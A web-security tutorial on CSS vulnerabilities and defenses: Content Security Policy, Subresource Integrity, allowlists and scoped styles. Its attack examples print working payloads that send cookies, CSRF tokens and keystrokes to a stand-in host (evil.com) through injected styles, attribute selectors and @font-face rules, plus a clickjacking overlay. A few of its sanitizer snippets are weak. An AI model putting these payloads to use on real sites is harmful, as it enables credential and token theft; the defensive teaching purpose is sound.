CSS Security and Best Practices
1. CSS Security Vulnerabilities and Prevention
| Vulnerability | Attack Vector | Impact | Prevention |
|---|---|---|---|
| CSS Injection | User input in style attributes/inline CSS | XSS, data exfiltration, UI redressing | Sanitize user input, use CSP, avoid inline styles |
| Attribute Selectors Data Theft | [attr^="secret"] { background: url(evil.com?c=s) } | Character-by-character data exfiltration | CSP style-src, disable user CSS, sanitize selectors |
| CSS Keylogger | input[value^="a"] { background: url(...) } | Capture form input via background-image requests | CSP, no external stylesheets from untrusted sources |
| Timing Attacks | CSS animations + performance.now() timing | Infer user state, detect visited links | Limit animation access, sanitize :visited styles |
| UI Redressing (Clickjacking) | Transparent overlays with CSS positioning | Trick users into clicking hidden elements | X-Frame-Options, frame-ancestors CSP directive |
| Font-based Attacks | Malicious @font-face with exploits | Browser vulnerabilities, font parser exploits | CSP font-src, use trusted font sources only |
| Import Chain Attacks | @import url(evil.com/styles.css) | Load malicious CSS, CORS bypass attempts | CSP style-src, avoid @import, use bundlers |
Example: CSS Injection Attack Examples
<!-- 1. Direct CSS Injection via User Input -->
<!-- ❌ VULNERABLE CODE -->
<div style="color: {{ userInput }}">Text</div>
<!-- User provides: red; background: url(https://evil.com?cookie='+document.cookie) -->
<div style="color: red; background: url(https://evil.com?cookie='+document.cookie)">
<!-- ✅ SECURE: Sanitize and whitelist -->
const allowedColors = ['red', 'blue', 'green', 'black'];
const color = allowedColors.includes(userInput) ? userInput : 'black';
<div style=`color: ${color}`>Text</div>
<!-- 2. Attribute Selector Data Exfiltration -->
<!-- Attacker injects this CSS -->
<style>
/* Leak CSRF token character by character */
input[name="csrf"][value^="a"] {
background: url(https://evil.com/log?char=a);
}
input[name="csrf"][value^="b"] {
background: url(https://evil.com/log?char=b);
}
/* ... repeat for all characters ... */
/* Leak password field */
input[type="password"][value^="p"] {
background: url(https://evil.com/pw?c=p);
}
</style>
<!-- 3. CSS Keylogger Attack -->
<style>
/* Capture every keystroke in real-time */
input[value$="a"] { background: url(https://evil.com?k=a); }
input[value$="b"] { background: url(https://evil.com?k=b); }
input[value$="c"] { background: url(https://evil.com?k=c); }
/* ...for every character and combination... */
/* More sophisticated: capture prefixes */
input[value^="pas"] { background: url(https://evil.com?pw=pas); }
input[value^="pass"] { background: url(https://evil.com?pw=pass); }
</style>
<!-- 4. UI Redressing / Clickjacking -->
<style>
/* Make malicious iframe transparent */
iframe.evil {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0.01;
z-index: 9999;
}
/* Overlay fake UI */
.fake-button {
position: absolute;
top: 200px;
left: 300px;
/* Positioned exactly over real "Delete Account" button */
}
</style>
Critical CSS Security Rules:
- ❌ Never trust user input in CSS - Sanitize all user-provided styles, colors, URLs
- ❌ Don't allow user-uploaded stylesheets - High risk of data exfiltration attacks
- ❌ Avoid inline styles with user data - Use classes and CSS variables instead
- ❌ Don't use @import from untrusted sources - Can load malicious external CSS
- ✅ Always implement Content Security Policy - Restrict style-src to trusted origins
- ✅ Sanitize attribute selector usage - Prevent data exfiltration via [attr^="..."]
- ✅ Use Subresource Integrity (SRI) - Verify external stylesheet integrity
2. Content Security Policy for CSS
| CSP Directive | Purpose | Example |
|---|---|---|
| style-src | Control CSS source origins | style-src 'self' https://cdn.example.com |
| 'unsafe-inline' | Allow inline <style> and style="" (avoid!) | style-src 'self' 'unsafe-inline' |
| 'nonce-{random}' | Allow specific inline styles with nonce | style-src 'nonce-rAnd0m123' |
| 'sha256-{hash}' | Allow inline styles matching hash | style-src 'sha256-abc123...' |
| font-src | Control font file origins | font-src 'self' https://fonts.gstatic.com |
| img-src | Control background-image sources | img-src 'self' data: https: |
| default-src | Fallback for unspecified directives | default-src 'self' |
Example: Content Security Policy Configuration
<!-- 1. Strict CSP (Best Security) -->
<meta http-equiv="Content-Security-Policy" content="
default-src 'self';
style-src 'self' 'nonce-{SERVER_GENERATED_NONCE}';
font-src 'self' https://fonts.gstatic.com;
img-src 'self' data: https:;
">
<!-- Usage with nonce -->
<style nonce="{SERVER_GENERATED_NONCE}">
.safe-inline-styles { color: red; }
</style>
<!-- 2. Moderate CSP (Allows External CDNs) -->
Content-Security-Policy:
default-src 'self';
style-src 'self' https://cdn.jsdelivr.net https://unpkg.com;
font-src 'self' https://fonts.gstatic.com;
img-src 'self' data: https:;
<!-- 3. Hash-based CSP (For Specific Inline Styles) -->
<!-- Generate hash: echo -n ".app{color:red}" | openssl dgst -sha256 -binary | base64 -->
Content-Security-Policy:
style-src 'self' 'sha256-abc123def456...';
<style>.app{color:red}</style> <!-- Must match hash exactly -->
<!-- 4. Report-Only Mode (Testing) -->
Content-Security-Policy-Report-Only:
default-src 'self';
style-src 'self';
report-uri https://example.com/csp-reports;
<!-- Violations are reported but not blocked -->
<!-- 5. Header Configuration (Server-side) -->
// Node.js Express
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy',
"default-src 'self'; " +
"style-src 'self' 'nonce-" + res.locals.nonce + "'; " +
"font-src 'self' https://fonts.gstatic.com; " +
"img-src 'self' data: https:;"
);
next();
});
// Nginx
add_header Content-Security-Policy
"default-src 'self'; style-src 'self' https://cdn.example.com;"
always;
Example: Subresource Integrity (SRI) for Stylesheets
<!-- Verify external stylesheet hasn't been tampered with -->
<link rel="stylesheet"
href="https://cdn.example.com/styles.css"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous">
<!-- Generate SRI hash -->
<!-- Method 1: openssl -->
curl https://cdn.example.com/styles.css | openssl dgst -sha384 -binary | base64
<!-- Method 2: Online tools -->
https://www.srihash.org/
<!-- Method 3: npm package -->
npm install -g sri-toolbox
sri-toolbox generate ./dist/styles.css
<!-- Multiple hashes for fallback -->
<link rel="stylesheet"
href="https://cdn.example.com/styles.css"
integrity="sha384-hash1 sha512-hash2"
crossorigin="anonymous">
<!-- Browser behavior -->
✅ If hash matches: Load and apply stylesheet
❌ If hash doesn't match: Block stylesheet, console error
⚠️ Without SRI: CDN compromise can inject malicious CSS
CSP Best Practices for CSS:
- Avoid 'unsafe-inline': Use nonces or hashes for inline styles instead
- Use nonces for dynamic content: Server-generates unique nonce per request
- Whitelist specific origins: Don't use wildcard (*) or overly broad https:
- Test with Report-Only first: Monitor violations before enforcing policy
- Combine with SRI: CSP + SRI provides defense in depth for external CSS
- Monitor CSP reports: Set up report-uri to catch violations in production
3. CSS Data Exfiltration Prevention
| Attack Method | How It Works | Mitigation |
|---|---|---|
| Attribute Selector Leaking | CSS matches attributes, loads background-image with data | CSP img-src, disable user CSS, sanitize selectors |
| :visited History Sniffing | Style :visited links differently, detect via timing | Browser limits :visited styles (color only) |
| CSS Injection via @import | @import url() loads external CSS with stolen data | CSP style-src, avoid @import, use bundlers |
| Font-face Unicode Range | Load font only for specific characters to detect content | CSP font-src, limit user-controlled fonts |
| Scroll-to-Text Fragment | CSS scroll-based animations leak text presence | Disable user CSS, limit animation access |
| Background-image with Data | Load images with URL params containing stolen data | CSP img-src 'self', no external images |
Example: CSS Data Exfiltration Attacks and Defenses
<!-- ATTACK 1: Attribute Selector Exfiltration -->
<!-- Attacker's goal: Steal CSRF token from hidden input -->
<input type="hidden" name="csrf_token" value="abc123xyz">
<!-- Attacker injects this CSS -->
<style>
/* Leak first character */
input[name="csrf_token"][value^="a"] {
background: url(https://evil.com/log?token=a);
}
input[name="csrf_token"][value^="b"] {
background: url(https://evil.com/log?token=b);
}
/* ...continue for all characters... */
/* Leak second character after knowing first is 'a' */
input[name="csrf_token"][value^="aa"] {
background: url(https://evil.com/log?token=aa);
}
input[name="csrf_token"][value^="ab"] {
background: url(https://evil.com/log?token=ab);
}
/* ...exponential requests to leak full token... */
</style>
<!-- ✅ DEFENSE -->
Content-Security-Policy:
img-src 'self'; /* Block external image requests */
style-src 'self'; /* Block external stylesheets */
<!-- ATTACK 2: :visited Link History Sniffing -->
<style>
/* Try to detect visited links */
a:visited {
background: url(https://evil.com/visited?url=example.com);
}
/* Timing attack variant */
a:visited {
animation: leak 0.001s;
}
@keyframes leak {
to { background: url(https://evil.com/visited); }
}
</style>
<!-- ✅ DEFENSE: Browsers automatically limit :visited styles -->
/* Only these properties work on :visited (browser enforced): */
:visited {
color: red; /* ✅ Allowed */
background-color: blue; /* ✅ Allowed */
border-color: green; /* ✅ Allowed */
/* Everything else is ignored */
background-image: url(); /* ❌ Blocked */
animation: none; /* ❌ Blocked */
}
<!-- ATTACK 3: Font-based Content Detection -->
<style>
@font-face {
font-family: 'leak';
src: url(https://evil.com/font?char=a);
unicode-range: U+0061; /* Only for 'a' */
}
@font-face {
font-family: 'leak';
src: url(https://evil.com/font?char=b);
unicode-range: U+0062; /* Only for 'b' */
}
body { font-family: 'leak', sans-serif; }
/* Font loads reveal which characters exist in the page */
</style>
<!-- ✅ DEFENSE -->
Content-Security-Policy:
font-src 'self' https://fonts.gstatic.com; /* Whitelist trusted fonts */
<!-- ATTACK 4: Input Value Keylogging -->
<style>
/* Detect password as it's typed */
input[type="password"][value*="a"] {
background: url(https://evil.com?pw=a);
}
input[type="password"][value*="b"] {
background: url(https://evil.com?pw=b);
}
/* Leak full password via combinations */
</style>
<!-- ✅ DEFENSE -->
<!-- 1. Strict CSP -->
Content-Security-Policy:
default-src 'self';
style-src 'self';
img-src 'self' data:;
<!-- 2. Disable attribute selectors on sensitive inputs -->
/* Override any attribute selectors */
input[type="password"] {
background: none !important;
background-image: none !important;
}
<!-- 3. Use autocomplete="off" and add noise -->
<input type="password" autocomplete="new-password"
readonly onfocus="this.removeAttribute('readonly')">
High-Risk CSS Features for Data Exfiltration:
- ⚠️ Attribute selectors with user data: [attr^="val"], [attr*="val"], [attr$="val"]
- ⚠️ background-image: url() - Can send data via URL parameters
- ⚠️ @import url() - Loads external CSS, can include data in URL
- ⚠️ @font-face src: - Font loading can leak character usage
- ⚠️ :visited pseudo-class: Limited by browsers, but timing attacks possible
- ⚠️ content: url() - Can load external resources with data
- ⚠️ cursor: url() - Custom cursors can make requests with data
4. Secure CSS Architecture Patterns
| Pattern | Security Benefit | Implementation |
|---|---|---|
| CSS Modules | Scoped styles prevent global injection | Build-time class name hashing, explicit imports |
| Utility-first CSS | No user-generated selectors, limited attack surface | Tailwind, predefined classes only |
| CSS-in-JS with sanitization | Runtime sanitization, no inline styles | styled-components with DOMPurify |
| Shadow DOM encapsulation | Style isolation prevents external CSS injection | Web Components with closed shadow roots |
| Zero user-generated CSS | No CSS injection possible | Predefined themes, color pickers, no custom CSS |
| Allowlist-based theming | Only safe values permitted | CSS variables with validated values |
Example: Secure CSS Architecture Examples
<!-- PATTERN 1: Allowlist-based User Theming -->
<!-- ❌ INSECURE: Direct user input -->
<div style="background: {{ userColor }}"></div>
<!-- User can inject: red; background-image: url(evil.com) -->
<!-- ✅ SECURE: Validated allowlist -->
const ALLOWED_COLORS = {
'primary': '#3498db',
'secondary': '#2ecc71',
'danger': '#e74c3c',
'warning': '#f39c12'
};
function applyTheme(userChoice) {
const safeColor = ALLOWED_COLORS[userChoice] || ALLOWED_COLORS.primary;
document.documentElement.style.setProperty('--theme-color', safeColor);
}
<!-- CSS -->
:root {
--theme-color: #3498db; /* Safe default */
}
.button {
background: var(--theme-color); /* Only uses validated value */
}
<!-- PATTERN 2: CSS Modules for Scoping -->
<!-- styles.module.css -->
.userContent {
/* Hashed class name: .userContent_a1b2c3 */
color: black;
}
<!-- Component -->
import styles from './styles.module.css';
function UserPost({ content }) {
// User content is sanitized HTML, CSS classes are safe
return (
<div className={styles.userContent}>
{sanitize(content)}
</div>
);
}
<!-- PATTERN 3: Shadow DOM Isolation -->
class SecureWidget extends HTMLElement {
constructor() {
super();
// Closed shadow root - external CSS cannot access
this.attachShadow({ mode: 'closed' });
this.shadowRoot.innerHTML = `
<style>
/* Fully isolated, no external CSS can inject here */
:host { display: block; }
.content { color: var(--widget-color, black); }
</style>
<div class="content">
<slot></slot>
</div>
`;
}
}
<!-- PATTERN 4: Sanitized CSS-in-JS -->
import styled from 'styled-components';
import DOMPurify from 'dompurify';
// Sanitize any user-provided values
function sanitizeCSSValue(value) {
// Remove dangerous characters and keywords
const dangerous = [
'expression', 'javascript:', 'data:',
'url(', '@import', '<', '>'
];
let safe = String(value);
dangerous.forEach(pattern => {
safe = safe.replace(new RegExp(pattern, 'gi'), '');
});
return safe;
}
const UserStyledDiv = styled.div`
/* Only use sanitized values */
color: ${props => sanitizeCSSValue(props.userColor)};
/* Better: use allowlist */
background: ${props => ALLOWED_COLORS[props.theme] || '#fff'};
`;
<!-- PATTERN 5: Strict CSP with Nonces -->
<!-- Server generates nonce per request -->
const nonce = crypto.randomBytes(16).toString('base64');
res.setHeader('Content-Security-Policy',
`style-src 'self' 'nonce-${nonce}'`
);
<!-- Only styles with matching nonce are allowed -->
<style nonce="${nonce}">
.safe { color: red; }
</style>
<!-- Any injected styles without nonce are blocked -->
<style>.malicious { background: url(evil.com); }</style>
<!-- ❌ Blocked by CSP -->
<!-- PATTERN 6: Input Sanitization Library -->
import DOMPurify from 'dompurify';
// Configure DOMPurify for CSS
const cleanCSS = DOMPurify.sanitize(userInput, {
ALLOWED_TAGS: [],
ALLOWED_ATTR: [],
ALLOW_DATA_ATTR: false
});
// Use sanitized CSS
element.style.cssText = cleanCSS;
Example: Security Checklist for CSS
<!-- Development Phase -->
☑ Never trust user input in CSS (sanitize all user data)
☑ Use CSS Modules or scoped styles (prevent global injection)
☑ Avoid inline styles with user data (use classes instead)
☑ Implement allowlists for user-customizable styles (colors, sizes)
☑ Use build-time CSS processing (PostCSS, bundlers)
☑ Validate all CSS custom property values (--user-var)
☑ Don't allow user-uploaded stylesheets (high risk)
<!-- Deployment Phase -->
☑ Implement Content Security Policy (CSP)
- style-src 'self' or with nonces
- img-src 'self' data: (limit background-image sources)
- font-src whitelist (trusted font CDNs only)
☑ Use Subresource Integrity (SRI) for external CSS
☑ Set secure HTTP headers
- X-Content-Type-Options: nosniff
- X-Frame-Options: DENY or SAMEORIGIN
- frame-ancestors 'self' (in CSP)
☑ Enable HTTPS everywhere (prevent MITM CSS injection)
☑ Test CSP in Report-Only mode before enforcing
<!-- Runtime Phase -->
☑ Monitor CSP violation reports (catch injection attempts)
☑ Use automated security scanning (OWASP ZAP, Burp Suite)
☑ Perform regular security audits (penetration testing)
☑ Keep dependencies updated (security patches)
☑ Log and alert on suspicious CSS patterns (attribute selectors on sensitive fields)
<!-- Code Review Checklist -->
☑ Search for dangerous patterns:
- element.style.cssText = userInput
- <style>{{ userInput }}</style>
- @import url({{ userInput }})
- background: url({{ userInput }})
☑ Verify CSP is properly configured
☑ Check that sensitive inputs don't allow attribute selectors
☑ Ensure external resources use SRI
☑ Validate all theme/customization features use allowlists
CSS Security Best Practices Summary:
- Defense in Depth: Use multiple layers (CSP + SRI + sanitization + allowlists)
- Principle of Least Privilege: Allow only necessary CSS sources and features
- Fail Securely: Default to safe values when validation fails
- Input Validation: Allowlist > Sanitization > Blocklist (in order of preference)
- Monitor and Alert: Log CSP violations, scan for injection patterns
- Regular Audits: Security testing, dependency updates, policy reviews
CSS Security and Best Practices Final Summary
- Treat CSS as code, not data - It can be exploited for XSS, data theft, UI attacks
- Never trust user input in CSS - Sanitize, validate, use allowlists for all user data
- Implement strict Content Security Policy - Use 'self', nonces, or hashes; avoid 'unsafe-inline'
- Prevent attribute selector data exfiltration - CSP img-src 'self', disable user CSS
- Use Subresource Integrity (SRI) - Verify external stylesheets haven't been tampered with
- Apply secure architecture patterns - CSS Modules, Shadow DOM, allowlist-based theming
- Monitor CSP violations in production - Set up report-uri to catch injection attempts
- Avoid dangerous CSS features with user data - @import, url() in properties, attribute selectors
- Regular security audits - Test for CSS injection, data exfiltration, clickjacking vulnerabilities
- Defense in depth: Combine CSP + SRI + sanitization + scoping for robust security